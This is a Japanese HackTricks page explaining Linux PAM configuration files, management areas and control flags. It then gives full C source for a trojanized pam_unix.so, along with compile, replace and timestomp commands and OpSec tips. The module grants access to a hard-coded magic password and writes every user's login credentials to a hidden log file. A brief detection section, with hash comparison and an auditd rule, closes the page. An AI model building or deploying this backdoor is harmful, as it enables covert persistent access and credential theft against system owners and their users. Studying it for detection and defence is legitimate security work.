PAM - Pluggable Authentication Modules

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

PAM (Pluggable Authentication Modules) は、コンピュータサービスにアクセスしようとするユーザーの身元を確認するセキュリティメカニズムとして機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。

設定ファイル

  • SolarisおよびUNIXベースのシステムは、通常、/etc/pam.confにある中央設定ファイルを利用します。
  • Linuxシステムは、ディレクトリアプローチを好み、サービス固有の設定を/etc/pam.d内に保存します。たとえば、ログインサービスの設定ファイルは/etc/pam.d/loginにあります。

ログインサービスのPAM設定の例は次のようになります:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM管理領域

これらの領域、または管理グループには、authaccountpassword、およびsessionが含まれ、それぞれ認証およびセッション管理プロセスの異なる側面を担当しています:

  • Auth: ユーザーの身元を確認し、通常はパスワードの入力を促します。
  • Account: アカウントの検証を処理し、グループメンバーシップや時間制限などの条件を確認します。
  • Password: パスワードの更新を管理し、複雑さのチェックや辞書攻撃の防止を含みます。
  • Session: サービスセッションの開始または終了時のアクションを管理し、ディレクトリのマウントやリソース制限の設定などを行います。

PAMモジュール制御

制御はモジュールの成功または失敗に対する応答を決定し、全体の認証プロセスに影響を与えます。これには以下が含まれます:

  • Required: 必須モジュールの失敗は最終的な失敗を引き起こしますが、すべての後続モジュールがチェックされた後にのみ発生します。
  • Requisite: 失敗時にプロセスを即座に終了します。
  • Sufficient: 成功は同じ領域の残りのチェックをバイパスしますが、後続のモジュールが失敗した場合は除きます。
  • Optional: スタック内の唯一のモジュールである場合にのみ失敗を引き起こします。

例のシナリオ

複数のauthモジュールを持つセットアップでは、プロセスは厳格な順序に従います。pam_securettyモジュールがログイン端末を不正と見なすと、rootログインはブロックされますが、その「required」ステータスのためにすべてのモジュールは処理され続けます。pam_envは環境変数を設定し、ユーザーエクスペリエンスを向上させる可能性があります。pam_ldappam_unixモジュールは協力してユーザーを認証し、pam_unixは以前に提供されたパスワードを使用しようとし、認証方法の効率と柔軟性を高めます。

PAMのバックドア – pam_unix.soのフック

高価値のLinux環境における古典的な持続性トリックは、正当なPAMライブラリをトロイの木馬化されたドロップインと入れ替えることです。すべてのSSH / コンソールログインはpam_unix.so:pam_sm_authenticate()を呼び出すため、数行のCコードで資格情報をキャプチャしたり、マジックパスワードバイパスを実装したりするのに十分です。

コンパイルチートシート

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

コンパイルとステルス置換:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. Atomic overwrite – 一時ファイルに書き込み、mvで配置することで、SSHをロックアウトする半書き込みライブラリを避ける。
  2. /usr/bin/.dbus.logのようなログファイルの配置は、正当なデスクトップアーティファクトと混ざる。
  3. PAMの誤動作を避けるために、シンボルエクスポートを同一に保つ(pam_sm_setcredなど)。

Detection

  • pam_unix.soのMD5/SHA256をディストリビューションパッケージと比較する。
  • /lib/security/の下で、全ユーザー書き込み可能または異常な所有権をチェックする。
  • auditdルール: -w /lib/security/pam_unix.so -p wa -k pam-backdoor

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする